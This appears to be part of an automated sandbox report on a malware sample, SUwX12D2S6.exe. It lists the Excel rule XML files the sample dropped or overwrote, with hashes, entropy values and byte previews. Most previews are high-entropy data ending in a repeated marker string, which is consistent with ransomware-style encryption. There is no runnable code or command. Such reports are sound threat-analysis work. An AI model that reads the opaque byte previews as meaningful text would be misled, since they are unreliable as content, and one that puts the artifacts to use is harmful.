..G.*....C..VY.l.}..Z\..%.....@....<.G..~.Ub>z"..~9...W..K..q..$Ez...V.L..LX...f&...L7...-k.....WR..4...yGF..7\|'...o.......+.9s..\|.#.L...^.M...\|.......X..D..^.....?.b...&$..x...h.H8...+R`...z.Y{...u.........M.H..\|V..eP.Fz..I...<.R.'..C.).{....WJ....... .=I..nS..O.OM....WX..J.5.t&.& ...;..o}..du..Z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370012v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	732
Entropy (8bit):	7.698505562461906
Encrypted:	false
SSDEEP:	12:zBwTAgjBTiIXeT5VQloLlinpCExWRV7e3FfHntNe2vNOYGrd9fTejVcii9a:dwTAgjsR5V1LMnDxWRVCxtNhgLpFgVbD
MD5:	CF4119B710B3E6D080B928C33903D1AD
SHA1:	59A66846A43EACDDEBCFDE456E29DE70A660ADEE
SHA-256:	69A14C19EBE33B69CED3F64758419D2490274ACC079D5950E02909B182288749
SHA-512:	4FD3E67B0E409E7E2694F08649FECC6633650B34CA38034E8EF91E49106720EE06EEE425465351362109CE83C51E3D1B0713716DB0110683F802B7B319BDCDDC
Malicious:	false
Preview:	<?xml..........,.g.p..\A.0..(y!.Ip!'...z& ....'b..eT..V`Vx...n.U.~..-@&3..N.J..Rp.....6p......Q..x.&3.....\|.Z.7:O&yvI$B..a..0..q<..=...K.H.T1.H....k../F.^.....N...X.k\O..&~.(.\|CO....D......n+.....`....=......c..DRj.jU.o.....A..........-.Y.51].a..Ls....4..].o....vQ...I...I-.t..s.....`..4x.zV.n.l.pld.....':.:".f.B....V.#..umM.M[z.......e..1..p.-.''.u...o0..R#.....d.e..,o..B\|..^q....9......zy.W..N.KXNrTX..HY....?K;..].OH..I5...:^.;..@m.@.\,..m.....p..:.N...X......K[...l"3.;on6.RE...x..r..BR.:.p.[&..z.Q{.2}.8.. ....\'&.........06.....^..+e...M...P.@\|R....d..x~...R5..;...1(RnZ...N#...LV......g2$wG?.*4.Y..P. ...A....W`_2..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390004v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3616
Entropy (8bit):	7.950619061424385
Encrypted:	false
SSDEEP:	96:FsvzJW0SBBFylkuGsPb0ffmNKsT8AByTY49:gWbykuGsPb0XoKsaTYQ
MD5:	1BD79B4CD03DE7346DDA4D6DA23333A8
SHA1:	056C17B89BEEBFEE76DC26648F06429E066C33F7
SHA-256:	D6A8768E358A8B090CD2E36E11BAFD9B013DC7849D4D314F33F549F62609CC07
SHA-512:	EC30242009D4215B323D5767531E1D5CC606E65F1B68A0D3EA46C49D69345CD98F6EC7EE621E210F3E3D6F68A88AC4D9F497C0FF7685EB1578CBE395728F649B
Malicious:	false
Preview:	<?xml...#.....f\.Uy4..#)..5.5.1.D .k....y2.....Z.[.W.......yV@~...9..tX&..G2.>!..:.-q.`.mi.vC;{..:...&....R..=.}e=..`.........6..x>)..QU..`..oA...b...U1.\7.mPz..T..j.GQ.l..T.u.........F;..}V.<.2.9.:..t...QS[.Im.$Cl...s6..Z.}..eY.......~$.6....,.....~Ns>....Q..;...Q.`...L.N.I!.`%..a.vc...f.(!...Q..).U.....5.$.d.O...V...B`..............v.:..F`w+..BH....P...,...#.A5.,..pxS+.......r...B.ET~..B..A..\|.`1...J......y.....9.G.qHw...d.y.~.M.=kc!...{U.;..T0....\.X.i...B.O.../uo.3..j"I.....h...>..v~....}f..F.s^.........=...h..p...#BZ;.ZF....;...cM.-zb.QO..7p..c.[pZ..K..Aw..#A.8..4.i..w,e...d......3I...Agf.I.,iP..[..k..z../..-.....9.. ....AO.....c.x.p....%........sVd]..Y....)0.5/.9E/:...@...'Y..R...y.'... ....k.\|...S..Z..!.i..Rr.o.t..=x$:...G_..>...8....J...Pk.B........)..})fU..RSv..l...gX..~.=......z.UK....+.a....`=...d.....q..Y..}J.&..c..V...C..=T1..%....Z..v..h..tZo.. @.....k.....^.....o.7l........t.....'..X....Q=.'......b.....[X{..N.0.^9...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390005v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.703409659909534
Encrypted:	false
SSDEEP:	24:iddlFh8i15lIYBecGM12mqzk5X9WjvX/QmSdjEziVbD:inlFh8iTlIdBMLMOkjvX/XSdjBFD
MD5:	66D07DE524D96AC67EE1D7EAA1A113AD
SHA1:	6EC49B2D0E5F32A57EAF31B6FB9591C2BB0823EE
SHA-256:	E2731CB340BE39A995BA2ABB1E27D1937889EA71C3C4F5F7D60FF31079214090
SHA-512:	E6A6B0E597C911E60ABA43AD18293D75F19E7D2FC1F475E6EADC210B97692F3DF0818E934457D938459C939E55B5E796747A10291DB9AD9712A46335AFFAE148
Malicious:	false
Preview:	<?xmlQ...).......~.PYh....x.....$.dI.F._\|..6...:.nNn...NI.0.QI<._....... ...1....d.\..a.$...R0..DJ.EY..Ff.sS.{.....%.B.7....7F..LX.w.[.nd .M{~"..K. Vu.O..O.c.0.MKH,...3._O~.........$.\........M .:.'/..>.n..GK]..i.M.^._.{..2O..H`.... ).D-....%.......n.-...#.P.z......c~..O.qD.1v....Us..._.E....{...\|..b'.KY...b.m.)'{!.Kn..$.BS....G..]...f...13^cN.=.......S^..............l...[.3..e..1.g^;W..o.E.@d%.f+=v.[A.....[......8......w..@.....C..,.js...R...}...<.?I..9`.J...S.4....y..{e....V=.\...a\UQDaz.oN.M..._..U...l..za.J.KZ...CC#5U.d7....#.:0.!.9...w....V..8..BW.e.z..6.......8.P...`.=`.S!.\|..u...Tsv..Q.k,..........Q.@H.z.`.}.9.../.es.U...2.T.O.S.[\|..<-..=.?...`k>._"....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440000v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2331
Entropy (8bit):	7.91960907250703
Encrypted:	false
SSDEEP:	48:KiUvmJaxpP7ObRACz5ufuVeTGZxelbbbLj+tHCMfc0qQbFD:Ev3pytvzYWVaG6bhcLqQb9
MD5:	A66D9ADC365E8C7548C85DCF0D6003F2
SHA1:	1AF127F5EEBD312FB1B25C56C3C4132805D6FB11
SHA-256:	E0D7AC5D0007AAD6315109434C03475002C2BBCF76BECF240A6C1B2DB9DFE547
SHA-512:	204DF04FECD407223B35D51C4E3CEB799906C669E7A547DB8E1F1CE6088A4FA9840D32EDE71DCBC3581EAD8062DC8B550515AD331908C7A50DAE2D8E794460AA
Malicious:	false
Preview:	<?xml..2'.....A....4.;..hT.....Y..A.3.._$...HO. ...O7..A.......G.e..j.. H..m/.\|B.sz.1....._.M?.ZAu..e..o.....}..Oi?.N..`....Y....-.T....2k..-..........^...X\|B24.\|...s. ....9.N.....>.....Q.......b.......ih.V........`43...1.R.......q....xN.v.j......s1..b...a.r.6hE./..JL.....Iv.wC...%B..y..u.,.X.&'....`NO.k\|......"qV.2a..6ylu....2......v.].B.e.....a.G0...s.5..R..`...........g.........8....:N..,4QY.G../....E..7...[}.U1........`K...0...85.4...I05..~TTP.,..;.An..".Zh...9......=....RhO^...I....@<..u...].\|..Q[.".h../..[g._.~J.;.....TahKY..'p\|.E.t.5...2n8.....@..p.?.2...).~.z..........@........t.\|....G...j.xJ.....B.cOn...K...O...3(h.M..{.z.4.{'.N0.x.E@.F%!T....6..q.;'.V..m..v...\.._k....u5_..}..k..D9....<]:.....a..M..:`.e*D../......11...H..);k..E.#7.r.l{.Z-t...0.....././.yY..s,.&-d.p.lq.".t.!._..&....gK.b.......{.W.....,...t...%..o.0p@0.r.pA..j9v5....e9..5..hma}A0...W.....f...JW.LZ.=H..X-...H.sJ....E./.C........v...0j...R....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	44492
Entropy (8bit):	7.996282507085737
Encrypted:	true
SSDEEP:	768:YyCL0XBOVQhggVHAWIi4aW7klQC+ZoWa0tk9zMuwJ5wCquWT3s+V6oF1:Y7AlgOHPIi4rGt0tk9zx+xqF3D60
MD5:	3D028E7C653A29823A493A0DDBF2F110
SHA1:	1F5BFA6B9E82222231A94562E285EA62E1223A5B
SHA-256:	40C23F0CEB235233E462CC5166BD2597F8DF4E58E2294C75FF57D5693D6EECA9
SHA-512:	D4341C33734B8323E0C7A47A7A48527852921C88980BFD22CA604F90FDD5A530BA7746820A54F46DD978DDCC19557BE5BB7FC4FE363AE18FCDA1859D9EE57A9C
Malicious:	true
Preview:	<?xml...e.5xq..l...i&.K...t2..$.v.u..q..hv.......K.R.....G.T...O..l^...@...Gd.........w..@z.....J....W..9.[.P!..>.F[....8.Pu..H({},.......5.!,....,.U?(.../.?....L..xv..:....21#.:oDI...X...\....i......s\|"rC..<=..#1.K. nC.D.2...;.k.....].e.}.=.R.....;_.......\|..0#.DE5T......:...aP..N..J.....K.....Qf.S..v.......3xm....=. .X.j.Y.. W-.[..t....`..i.UH.E.A0...B...'.@."..<g.5.A..1.L$U+Knbn...8...b..z..g.!a.=.....LE]..[u-O..bLw...;}.....z......U...P..z..Q.F_%....E].K...s....I..VFo...V.0.2/..F..v..R<.E.)5...A./..h1d...[.....w.......T....i.w..c...>.~C.7.. .F.S.C R..5..\|e..Z.. ..w;).8...u.v..6QY...BC..\|..I...........U.....R......}+x.W.F.../[z...-../;.XHp......."8.<$...P..F}.\h..a.....5.{M..H....N...u..%...B}...N..:.:6.R.$...9....d.Wz...R;.........;'pH.i..geN....G...b.>.QB.Y.@.q.........U........+k..AH$....+.....-Fa......z/x.I....5.........#.\.~.:.s.6.....lj.]...j.$.:.0.t@..../...%.n....].-..........) ..=.x...Q!.yg..?...a..............A+..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440004v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2338
Entropy (8bit):	7.90657291598041
Encrypted:	false
SSDEEP:	48:MzGpfNhrGIeZzgAKIvrRpGwneNZwripgSujVIjTMlbCfQCGSeqntFD:CGpDGFXxTGwewdjVe66Qt3qnt9
MD5:	BFB3E5C7D53712F91C2ED50FA210DDE5
SHA1:	C3910CCEBBB4856725EB194FC799552516C7D665
SHA-256:	044FAE048D9CD7232ED5A828E13E8C4B2A528DCDB490BD9E6FB8E4CA0AEA61A7
SHA-512:	D48557794E438EB300B8AD09EA939693EDF11A2B893CBACE9B89F8BB5000EEF92B9E08427608C0A308EB06CC2C8D0F36F404C672F171AB5712ACDB3FFF960FC4
Malicious:	false
Preview:	<?xml..US.....b{.y.wE.77..P.=.g;+...Z......XF..p.5:<.u##.{G"r....P.. ....b@.Bx.(.0.9z`;U....G'h....Tb..,.[..\|..B.1T....I...z....e.",f.N.~....h..zfMb......;...,<...M...z..\h..t..&......@./.......L.7N}.`...s.6.#._..1>.2.....I..s........-..s.......8.z1..4..p..4..o..Z`.3.........^.Nh.s6.P.............Jl.e.7B...HB.(B]....K.O.8..,.#.O.du..G.x.;...h. .>.P.;....G3.Q..."G.!oN.......?.?..P-H....0......Y%..-..6......?.b+#.3s2.m#..2h......I......z+Wax.......h..TmE..]^.-.........EF.. ..:.[.E....w...Z..bj..E..0..G..x.u@.W..]$....G..$.d....L...<IU.]...6.FT..'....L./ .i$0.{..X{..>.mI9.r.-.\|...?...&4d.L.3....L...e2..Ph.%.&E6C..)..3.o.<T..!..j4..r(..........t..l.7&'4.Z\|'.......J.....\|<yP...s..h.{km.F.a...........J.y...3^^V.Kt..F.}..u..wxB.M..QTO..X.....zo....9B.D9.k..5....V.]..........Ol.z\|..4m.{L.B@....$.ts...am..hZ......50..B].....G.Z..b....n.....s.E.).5..T-#c..\|..4...B{.....%t.`.t...*.S.....mO>64...%..q...v,eE]....p...k..45z5~.x.){A.h.....&.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440005v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2320
Entropy (8bit):	7.928614844825925
Encrypted:	false
SSDEEP:	48:lb3y3CCWlxWVm2Bj3Kp8UTevSfFWQqxvuyxNlYmCopwFD:lbC3D9Jmn8YWFxgropw9
MD5:	36A7CD2BD7CB33D3DAECF0303F8551F9
SHA1:	F545B2D54D3C37B279D1434786A05A18E545AAF0
SHA-256:	33E95BD26877545BD8BEE99DDA26B19A5D4B78909E8A19E438918BB8DAE6CD43
SHA-512:	E91155EC0AF5927A0C353741C1BCCC0C0C997976545EF319F115F279C34BD2F042B8DEFE83E900DE85F91E7E84214C26C19F4BEA9881124503518244CCD2C38D
Malicious:	false
Preview:	<?xml..X4.....s...9x..u.FW..c.A..v.....KE.)?qO...md......v........u....7..g..G.t.....Uj......9.6...i....BG..R...i.k...xbO.....i.\.....5.#Q.:.-.B...J.R.ms2O..Wr.o..J...3>....`.V.\...n..:.u+.....g...}h..../......X..........N.\|...p}....:WR.p.k.e..S@.[$..Q.&1.n.x...B.VC..[5..A.....$c...a..T...<+.~%y......XzFY.........{T..p.E....0...}_d;.....]....N......k..Y..kD.h..\.{...o....;....%..o..)....].x.w-..'.{v....j.Ih;.H.O\...Q......wvA}...4Og<]..0..n....g.:..C.^.....f...;t......k@..i/..b:B..........".LhF...T.....jWA......n.....''.Y.....D.2..4...j..s.."4R.......9..{3..kk...~...a.Mc$.p.s.KU..-.>...{T..X...pxB...j..jj....S.e"=.......Uq..q2.>............jm..1..WS....I.....S..."qA.^.{..8..NKZ.....h...I~`.F.o..L(D....O.r..Z..4.4L\. ..I...(qcZ...8jd........i&.`..g.ES{..s...S...v...9\U\|o.C.C.".qH.;y+Y7....\Bp..xO..L.dq..o.}e.a....F...Y\....fC./Hp.(.........r.Y..P....j...YV....XSI..`..xwKG..j..M....6...j.Y....`.].RJNDU.t.p..`*C..>...U.%.P....J.{....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	41208
Entropy (8bit):	7.995602028842107
Encrypted:	true
SSDEEP:	768:+5jN0oz+V0WEHZWS8JB9WirIzSGMB9AQU1vPU/ZoJWHm/cyCbViwAQst21Tm9:+5inSW6ZeJB9Wirh/OBvPUmJWqcJwt2+
MD5:	E858776BFF39C7BA8E23003BBF75D939
SHA1:	ADF5D3EA0A8D4E0A3C930F1FAEF084F87E9BE3D8
SHA-256:	B6D43CE26796E680F9EA9BE4519F03A7166212D98F748057FDCDF850E2080489
SHA-512:	8284021BC987548A4FCFF1C8B68508946D73FEAD26C499D4A477EEE92F8977AAC4B3BB459E6DD840711D200359AFE2CEF54565BABEBF05A380C19FB3A563822E
Malicious:	true
Preview:	<?xml@W@&.d.O=....WI......"~....m...j.@..\..Ujd....Iy.v..Q.....<q9L.n ..%.8....H.zh=..5...ra...Xl<.q.(....Vd.A...#.@...j..5.j..\..$...,....&....2..0)..>D.nst8.#.@...57..!.H..2/....I] Q\A+c"((4.@..z . .U..?.w.}.X"..]....z.Ma...u.+."..\|..}9.......).%.qvnu~{..c.XN.Az+{..l.b....L.K..Y..?/....Ns=.b.P+-.x..x._.0.......y..{7.U~O..3..C.2&......3.m..%..#..s.2...v....E]..R..Q9.4RD.{}R@y)RC..V.n..I.Q:.."...._..R-..l..$.............T.0....".Q7..Y.9..f.Z.t...8.7.:in..{NA._.r..~...J...uF.....`.....l..q.......I`......l.....a......8..Z:...JXH:...6..>.../.eA...b.....S.+..0.N_..G.4......\...b......u.=4...6..*.....L..!.s..oX..<.S.....QR....K.!....{.q....t..}....q]..JT%AB.%.D.X....9.]..p.E.qLnNQ.(Z..0.O..R...[..[=.FO..;..C'$r.....t.:1..P....S......os..+...N......oN.........nZc..^...x..)..}...6F.q....'..S.9y^h_...'.b..}k:.jQ.}Vp.!v`0..i<F.h....Mr3I%.uuR2.$.._wqP..T.H...........+i.G..xY.C....t..!.L..x..E.?......".Pz.u............~Z\8W.eh..~..S3e.sg..6^s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460008v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	785
Entropy (8bit):	7.7299507059883314
Encrypted:	false
SSDEEP:	24:mwobN5a32Ql07eEka2GAXtL22b2FWuVbD:mwobNETEhAXFdc1FD
MD5:	891E5F508CC7A481B7EC013814176262
SHA1:	43A09B4CDD50C9C181C13F249EB8D3FA02CDD047
SHA-256:	56F57EBD3683B93CAD08AA2FB6E154BF7ECAABA1D2438B521345799D3F1D12E0
SHA-512:	F1F6B8301D84DEB708C70C8AF107EC1A25D540DAB78184F0C062E028E90484A9D1F678149310D3F897FC224C7C54BFE41D0F1059CE8CCCB9AA7AD5D1A7D6DDF3
Malicious:	false
Preview:	<?xml....>k.[...{6=.6.g.5.g.p.........P.h]JM..v....j..Z.<...z...z.Jq..r.@..\|2..'.....S....7ZS.).N.....q.....int....x......\R%kb..G.z.: <...QS\K......O63.x....\|.%.T.<.h. ....yK.%...`.Rn2..x..D.m.'.Iv.B..9.jO.......#..RJ.Am.f.B.@H4f4...P...S.(.Q.H{...c.....8E.Os%.f....x..=`n.Y..k.5..R.)~....D.....g}..`y.)x..T...........z..^........E`../...zhx...y.>...~.)h..P....3..^+^.z0....y.(.....,r..Q...G.5z.....u......W.P...[\YK.d.....@..7..y.LT4....=.v`moN.f...i.E~.2_C9.!PU_Z.h.....gl..zaNuL.u.M.......X.. e1..,m..2...y...n...Q...cm@G.&.3...!....?. $.vx:...)9vI...jEy.i.}xP\|kO....p...qh......!<.>.P....vy,../..`\...rT......"....xbI;#.."L..a+.M..'Y.......b.=..mY.P.EW.w...?....DR..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460009v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.723588377192059
Encrypted:	false
SSDEEP:	12:BwM6SiYQbyy6LJkhZTNzAiASKLAAVG/DQ7evjbbjDENojpSDKP/w8ljVcii9a:Bwe4yt1kVHIM4G/DZrbjpSDu/w8lVbD
MD5:	E3665BB5D88DD0844FB0CC734A13AE1E
SHA1:	901AE94B816734671800527086FABCA1D49E1D2C
SHA-256:	B8D90B7E9D6414BB218116C2B62CD1C6F4595560D66E71493F63CB242C8C140C
SHA-512:	D9F3E8AA6C9C04C47B5B95F31A99783A5F1E053C1934552FF9AC1D32D527D9A95917FAC49D6609B1B7C3027471C88C79F35524462CC735D51D17F39072D08BC1
Malicious:	false
Preview:	<?xml:ZY..I.j...@\.EzY.m'+.%.T.Q...q3..v_NH..q.y...d.j...HSM..q.X.>.\......~.L...c./X[W...-.>.....k7`......'>.(.e.h...H.............`o.i.(.u...j..2...x.-...e.....$...n.....G...4..._l.o..w...@.0t@.c\.-.[fO........a.\|s....KW..i.@.>Fp~z......M........9.HD.......d8O.S.&.b.lU..T.q.0I ......by.....C.b..RwP!...&l.>x....2Gre..8...yI....F"K:....?...46..xc9 ...c..5..^..jD....;....9...he.G...9...M.L7...t.q....<?.v..c..:.;_G..[Of...^..........Ni....Ww..F...,,.....c.....y.u9.....<....\.\|H.(.....X{...WZ<+WL2...~.Fy;.C.....0. ..~.]W.7.. ........2..K..w..>.J.<.H.~.P....L;N..$uY.&....r..I........u3.b..WA..$$y.$$.r.e..Ik\.e[..t[..".U....GM...qN..hitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490002v13.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1428
Entropy (8bit):	7.861992210093793
Encrypted:	false
SSDEEP:	24:AXdVhe6U3Vi02dC1VKh3Q2Pm1/j3rSU9RTxgMob4f5YoDkpvPZkaVbD:AtVI6Ci1uKh3QumNj3WU/N4b4xHgvPZR
MD5:	7B0FC88B1AA84E3607CB5990B5B094F8
SHA1:	531D8583140CAA4BF16946F0AF9C712BE7443CC5
SHA-256:	5A00465F6959799F2543C9072D8CC45003C102CE369F96D5798D0F5F2A29FFA1
SHA-512:	EC5F4DAB586A5169FDDE213B7E1826D69FA350C691AF59016A7C3BE096A97EF3BD3EDD5FFA26801CD184EF68C55C5C26D83B72D2151084A446C42FB2595EFBF3
Malicious:	false
Preview:	<?xml}\...]cE......'...g.rc.6.H.n..!._.b......^.qsP...4.2......N.~.`S.........D..2a....4g....0...+x6.k.d^Y...l....X.....I..l...fT....a.U.{...j..J.i.xk,..e...U.g.Kf.g+...ZIy...}\|.1......s.v.tU.-0P..Y..y..l{.}8 >.;.Z+lZ8..I~9.].%/,i.)^.."".<.....fskK=.....T.=r..].q.Y..R....0?W.A1.XM.\|a..ds.qy...fJ......+1X.R.....\v.o............8.{...>..2.R.........r.?......-.>.i..\|.U...H.mya....7[b.0.l.=..`..........D...0<)$z.w..k.sjB..D.b..r...09.j..$.J{x.......#i..!P..../..-G0..&.D:.o.RGse......2..Zo&-..l...g..Qf. ....g..2*..jK.y.`.YeF..2S4I.P....^..."a..7.=3..cXg.g.....\C..../.y.....[V...7.".........0.[.e.....%.<UA...b.D..]...H..UH.B....f..lq....3...:.$P.$i.b.....9..@.!.T.Pkbd.J.....f...).4.P.1O.@....^....uu....:..[..#W.9f.&3q>.::.dI....S.2.N...........D.... .o.SB...)U..)`@.n....W......V}...+.jY.....!z.....+9H....3.V....].n..8.. \|.-w...)Qt.......cZ..!......y..T...6[.n...)..D..s...%.V..Q.d.n..Z.h.0...W..Gk.SK..:...b..o J .....R.#....a.R?D=q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490003v7.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	7.7752294197518514
Encrypted:	false
SSDEEP:	24:2SNOmKjkOUazJRKlgwFctjARiz/VYW44dVbD:2fjkO/Rungt9YTeFD
MD5:	F554513C7BBBFF42C6D877F4881DA45F
SHA1:	EEC6359B9B071F94BACB696B50C893CA34C689C2
SHA-256:	2E09AB7F51F0B7C8B169AC3D8E9E23853564F6FE3CCED907F40AAE77E62270B2
SHA-512:	92470ED4F1430D1A81FC91550BB871348FEE5EE59200274EA7115B61387602C94F1FAEF30FBDD08DD6CF9D3A1850B5EDA4A5770DC726B191AC9240973C9F5C4D
Malicious:	false
Preview:	<?xml......#...B...+...-O.s-2Z#.oq..9p..}WOG.k4........!)..[..O//~.c....,\..../.......yZ._..Z$..I..t..De...3.Xy.X.4.uR`.s@y....s...[........4.T.Zb..{....+.....HD..!v;.Y..T..Ad.......O.B..R.z.f.....7..p..@...\..).Pd.^~tP..C...q.....#.'..q4.S..4r......u...x..BX...\|W.......Mw...\..D....;.zI#`....5.V....]x.P.g.a.?.....r.l......&..&..K.....}....XGA....._ 4.R=.....\|W.....y....H.K.@_..V.."....ym...3.f......$..-bO....)......%.,....[U.$..^.6.V..m2.Z9.........a...4...9....N...7..P.5E.Ty..l~...yn.i..;..9.C..}.r.qm%..}ja...2}...u/..#.....$.{\|..]...6.`..n.................9...c.E.......;.f.l.U.An...Q.M....n....p3EO.....g.NWB..j%F....\.d..t..VMQ.....M.F.{.'....b.R....._4..j.....#.x3..T....C.>.ET....1........#k..-U....{..[..SnM.."j......Z..m-h....;...}...._r.@.I.>.HVh..r.(s.#..-!.....9LQ.....!.O.g.1.;`.d-...ZT+.R../.}..~3...]_5..be...I..q_).&..59~itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490004v5.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.821673372378441
Encrypted:	false
SSDEEP:	24:wQjXbn4Ytz5EtgdQaxpPDWO+KEjggO/ic7S8H0e3n3fmgSnVbD:3XbnZ9ECXxFec79zn3e7nFD
MD5:	29C4325C82C31330AD1AC8CD7B93D8B2
SHA1:	A5EB2E658545F4F5199D885B3783F83A679FF13B
SHA-256:	3F797F8E14854BD7EA878BF8B2F26A5931172228EBB30A79D73175FE25C03C5F
SHA-512:	0FA55524A409FD0DAC640A608F00788A9B9C69AF1FA061E9685171248CD94549F8B24B672E5AFE31F769262865B456EF28C618B03078C7F1A2109F1E3BAFB47D
Malicious:	false
Preview:	<?xml.1.........y.......D.&...KJ1.b-L@...vUK...Zw2\|.$..z!..#..^cq4..g..A_..lMPVX.R.]W...$..9q..H....83.\|.`.pX...V..../.k9RJ..pu.q4i4..E..>...$...'...e.@u..Nkh}+.y.(.O.[ x.]y.S7.i.....A......1.TT..W...~.f1.\.D/...sD./X..l....Q...)...iCU.Ct.....t.g...D9...Sa..........!.1.@e............P..dr.dt+>....`=..NqFe.Z@....06.a5..u..^p.{.0D..s..~.`....'...2~..$. _y<...9......v.x.T`...MP.\.......=.Ok..UI ...C..r..#...r.><H^.....Z.L..vk..p..B-#..C...X..\|......"i..I...R.../..7....7....\|^...w.~.+yN-..:.K-.X.Ki.f.i..8.^...p..Vv.x..........b...e.....{5#.."0;..;.....~@...P.........0?.W..R...cmt..}x.+LE_$4."..7........n[\|y..k.....mA.f.+..2..P..fJ.Z.....#.....Ol..C...5............Ze...3.>...[..b.%......`X...S[\=~a ..v.paYI.y...xe....B.......}V\|..h...#:N....Wr.N..).....;.......b.a.s....{.......i.X...x..>..-&.Rd.H..`/$B\..9.YQ.(...!N.(k......{.&FpI.I.SMS...,I....A...7.\|...265.ej....1xh.e.f..s..Xitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490005v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	7.818087569328516
Encrypted:	false
SSDEEP:	24:H4CrII3z4dW57HKrup/AIjJexW5QPLQS09D5yTNAVwS/VbD:HwIaW57qruNAQJeiQEDD5yhQfFD
MD5:	678329D205189B441FECC102A9655F1C
SHA1:	C52CE4019D7A8066CEF56AB0D4F245C4D8676ACB
SHA-256:	B59E16A1949C38318974EBA6B5F1D3ABFFA27D7083F9B4C6E18552EF1D54B726
SHA-512:	FD9808373D323F1457C287A3E2C0490B427EAB1EB6124AB39F3248627367D1A25BDCE05753E7E183A36D704055C52B13519485F7755EB18EDF2D47CA083160A5
Malicious:	false
Preview:	<?xml..1d...o...6.u.u..ewZ..n....OI./...m.".q,...,Mr.......y]N.X....%.Y..X......b6.9.Ax.B?......m.....l.D...........f...nl..%2..e:.V..=%...i..CZ.b.<.n....6US+2...h.\DS.H..M..3....,..{..}............-m`eS_.n...ie..+..]D........s.-.X..gy..6".<...S...\...Z.q/.Rk2..$G6.^.1L7......b..Ur.{6)......k.\y.....8..../.!..%.!.;.......V.....p..S.&nJ.....(...x H.#....$.r...&.]I...C.%.H._.>.IG.. .....F.&.+......e.....z]..p....jP...]....P!9.l...%.u.=vdB......3CRf..{....H}Rk$:X..g.B.O}.}..........-..D6"..3.U.....k.Y....Vi.un.D.@.`.ae......1W.s.W"m...L.vt.m.\4.K.5F..q...>_&3.}...nOd......[s..Y.9+..$A@oyT"...w..w)g.....fT%..i.+<.(..rA9!...6g...h.g9.5....~6x{>A,.....e.j..K).n........."...C.....T^.....!.E.....yK.^....h.c..T:......Z../.*.....U......r...+.r;.6.P.(..=..1A_......f7.`^...I.r&T.C~Zx.....]M}c..Y.N..l.;M.x.Z................R...P.6-A..#..+;.vm....QXk.u.w....<.J._y....k.:..j... ..x=1$=C&.(itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490009v5.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1453
Entropy (8bit):	7.861288500000396
Encrypted:	false
SSDEEP:	24:ZvBmR5RcYzhA7M4DTgd02ObxFTJh/IGhzUFHJQP/skCHiH71F9YgGmcVbD:ZMvRvzhfvd0P/3phz2QP/s6FGgQFD
MD5:	7CC80F40A17390E6912D226808ED0313
SHA1:	54A356852FCDDCF2913D04E2D8FEFD66487A0B4D
SHA-256:	9931D767076EA89E230A06C5E6794C086E49685CD17AB4219CB17BFF5E238853
